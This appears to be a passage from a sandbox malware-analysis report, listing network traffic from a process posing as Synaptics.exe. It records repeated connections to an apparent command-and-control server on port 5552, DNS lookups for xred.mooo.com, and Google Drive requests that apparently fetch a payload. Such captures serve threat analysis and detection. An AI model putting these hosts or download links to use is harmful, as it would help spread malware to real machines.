Dec 30, 2024 11:24:28.997181892 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:28.997209072 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.037030935 CET	49853	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.037053108 CET	443	49853	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.037512064 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.037537098 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.037609100 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.037868977 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.037880898 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.042016983 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.042032003 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.042357922 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.042620897 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.052537918 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.066652060 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.066668034 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.066986084 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.067037106 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.067822933 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.095329046 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.115335941 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.360476971 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.360543966 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.360579014 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.360632896 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.360965967 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.361008883 CET	443	49859	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.361057997 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.361135006 CET	49859	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.361946106 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.362046003 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.362344980 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.362915993 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.362936974 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.402218103 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402286053 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402323008 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.402339935 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402353048 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.402384996 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.402410984 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402446985 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.402457952 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402518034 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.402559996 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.403115034 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.403139114 CET	443	49858	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.403151989 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.403187037 CET	49858	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.403614044 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.403666019 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.403733969 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.404073954 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.404090881 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.595356941 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.595426083 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.595798016 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.595820904 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.598464966 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.598490000 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.645445108 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.645512104 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.659135103 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.659162045 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.659338951 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:29.659349918 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:29.923088074 CET	5552	49850	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:29.923147917 CET	49850	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:29.937532902 CET	49850	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:29.942368984 CET	5552	49850	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:29.965831041 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.966021061 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.966053963 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.966114044 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.967113972 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.967171907 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.967192888 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.967237949 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.972094059 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.972188950 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:29.972888947 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:29.972965956 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:30.032128096 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:30.032188892 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:30.068969011 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:30.069009066 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:30.069037914 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:30.069067955 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:30.069086075 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:30.069122076 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:30.069161892 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.651874065 CET	49861	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.651913881 CET	443	49861	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.652095079 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.652122021 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.652827024 CET	49862	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.652828932 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.652832985 CET	443	49862	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.652833939 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.653389931 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.653450012 CET	443	49913	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.653542995 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.656209946 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.656209946 CET	49914	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.656259060 CET	443	49913	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.656280041 CET	443	49914	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.656445980 CET	49914	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.656610012 CET	49914	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.656624079 CET	443	49914	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.658406973 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.658442020 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.658742905 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.659244061 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.659605026 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.707334995 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.945271969 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.945432901 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.945457935 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.945508957 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.946450949 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.946495056 CET	443	49867	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:35.946567059 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:35.981004953 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.981062889 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.981071949 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.981097937 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.981131077 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.981153011 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:35.981157064 CET	443	49868	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:35.981205940 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:36.257920027 CET	443	49913	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:36.258114100 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:36.258474112 CET	443	49914	172.217.23.97	192.168.2.6
Dec 30, 2024 11:24:36.258672953 CET	49914	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:36.259087086 CET	443	49913	142.250.186.46	192.168.2.6
Dec 30, 2024 11:24:36.259263992 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:36.788486004 CET	49923	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:36.793356895 CET	5552	49923	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:36.793468952 CET	49923	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:36.793998957 CET	49923	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:36.798773050 CET	5552	49923	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:38.155810118 CET	49796	80	192.168.2.6	69.42.215.252
Dec 30, 2024 11:24:38.156053066 CET	49867	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:38.156122923 CET	49868	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:38.156179905 CET	49914	443	192.168.2.6	172.217.23.97
Dec 30, 2024 11:24:38.156264067 CET	49913	443	192.168.2.6	142.250.186.46
Dec 30, 2024 11:24:38.920269012 CET	5552	49923	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:38.920341015 CET	49923	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:38.996901035 CET	49923	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:39.001790047 CET	5552	49923	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:45.805478096 CET	49979	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:45.810373068 CET	5552	49979	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:45.810627937 CET	49979	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:45.810967922 CET	49979	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:45.815767050 CET	5552	49979	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:47.951837063 CET	5552	49979	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:47.952070951 CET	49979	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:47.983803988 CET	49979	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:47.988675117 CET	5552	49979	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:54.835275888 CET	50037	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:54.840241909 CET	5552	50037	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:54.840327024 CET	50037	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:54.840629101 CET	50037	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:54.845438957 CET	5552	50037	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:56.970671892 CET	5552	50037	172.111.138.100	192.168.2.6
Dec 30, 2024 11:24:56.970777035 CET	50037	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:57.133312941 CET	50037	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:24:57.138293982 CET	5552	50037	172.111.138.100	192.168.2.6
Dec 30, 2024 11:25:03.960974932 CET	50039	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:25:03.965797901 CET	5552	50039	172.111.138.100	192.168.2.6
Dec 30, 2024 11:25:03.965862036 CET	50039	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:25:03.966257095 CET	50039	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:25:03.971038103 CET	5552	50039	172.111.138.100	192.168.2.6
Dec 30, 2024 11:25:18.107769966 CET	5552	50039	172.111.138.100	192.168.2.6
Dec 30, 2024 11:25:18.162955999 CET	50039	5552	192.168.2.6	172.111.138.100
Dec 30, 2024 11:25:55.779990911 CET	5552	50039	172.111.138.100	192.168.2.6
Dec 30, 2024 11:25:55.834985018 CET	50039	5552	192.168.2.6	172.111.138.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 11:24:22.393764973 CET	59690	53	192.168.2.6	1.1.1.1
Dec 30, 2024 11:24:22.400484085 CET	53	59690	1.1.1.1	192.168.2.6
Dec 30, 2024 11:24:23.391835928 CET	65392	53	192.168.2.6	1.1.1.1
Dec 30, 2024 11:24:23.399132013 CET	53	65392	1.1.1.1	192.168.2.6
Dec 30, 2024 11:24:23.402188063 CET	50501	53	192.168.2.6	1.1.1.1
Dec 30, 2024 11:24:23.410257101 CET	53	50501	1.1.1.1	192.168.2.6
Dec 30, 2024 11:24:23.695738077 CET	55959	53	192.168.2.6	1.1.1.1
Dec 30, 2024 11:24:23.702275038 CET	53	55959	1.1.1.1	192.168.2.6
Dec 30, 2024 11:24:35.651874065 CET	50835	53	192.168.2.6	1.1.1.1
Dec 30, 2024 11:24:35.659131050 CET	53	50835	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 11:24:22.393764973 CET	192.168.2.6	1.1.1.1	0xbf22	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.391835928 CET	192.168.2.6	1.1.1.1	0xd780	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.402188063 CET	192.168.2.6	1.1.1.1	0xa546	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.695738077 CET	192.168.2.6	1.1.1.1	0x4a2f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:35.651874065 CET	192.168.2.6	1.1.1.1	0xedee	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 11:24:22.400484085 CET	1.1.1.1	192.168.2.6	0xbf22	No error (0)	docs.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.399132013 CET	1.1.1.1	192.168.2.6	0xd780	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.410257101 CET	1.1.1.1	192.168.2.6	0xa546	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:23.702275038 CET	1.1.1.1	192.168.2.6	0x4a2f	No error (0)	drive.usercontent.google.com		172.217.23.97	A (IP address)	IN (0x0001)	false
Dec 30, 2024 11:24:35.659131050 CET	1.1.1.1	192.168.2.6	0xedee	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49796	69.42.215.252	80	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 11:24:23.417119026 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Dec 30, 2024 11:24:24.009567022 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 10:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49785	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hPMgVM7RZXbm4JkLuaTCZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49786	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SZqa8rDhK-i0slRwkfdTcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49802	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:24 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-oP-q_joa3P3klhU7BN2vMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49805	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:24 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 10:24:24 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4KlaZQ4n-XKMdW1aWpbAFMRpXtf-mXTavBuLeS7kh3Xpl8Tu7eBCs4dvenupWm320k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:24 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Zlj0acJSHkIHNfrDRTNwgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=BYMo-wv4eYJdWmry7AUwgnY8FD94uo3veWkAXjfZOk1mv7TJVBgEhqFHCgX6R2JeKOBvo50nIjRpzf2b_9A2GW8ksEyt-5g4q85Ob8tsU_aR9mcINLgHh64rG-oKyQGbjBH7KUvXgliKdHc4uXAnoj7xbO6TIXqQNfde8w3K2uPd4t-_pCWMMPI; expires=Tue, 01-Jul-2025 10:24:24 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:24 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 52 55 5a 30 70 30 69 54 5f 39 44 64 6d 42 70 37 71 6e 72 34 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LRUZ0p0iT_9DdmBp7qnr4Q">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 10:24:24 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49804	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
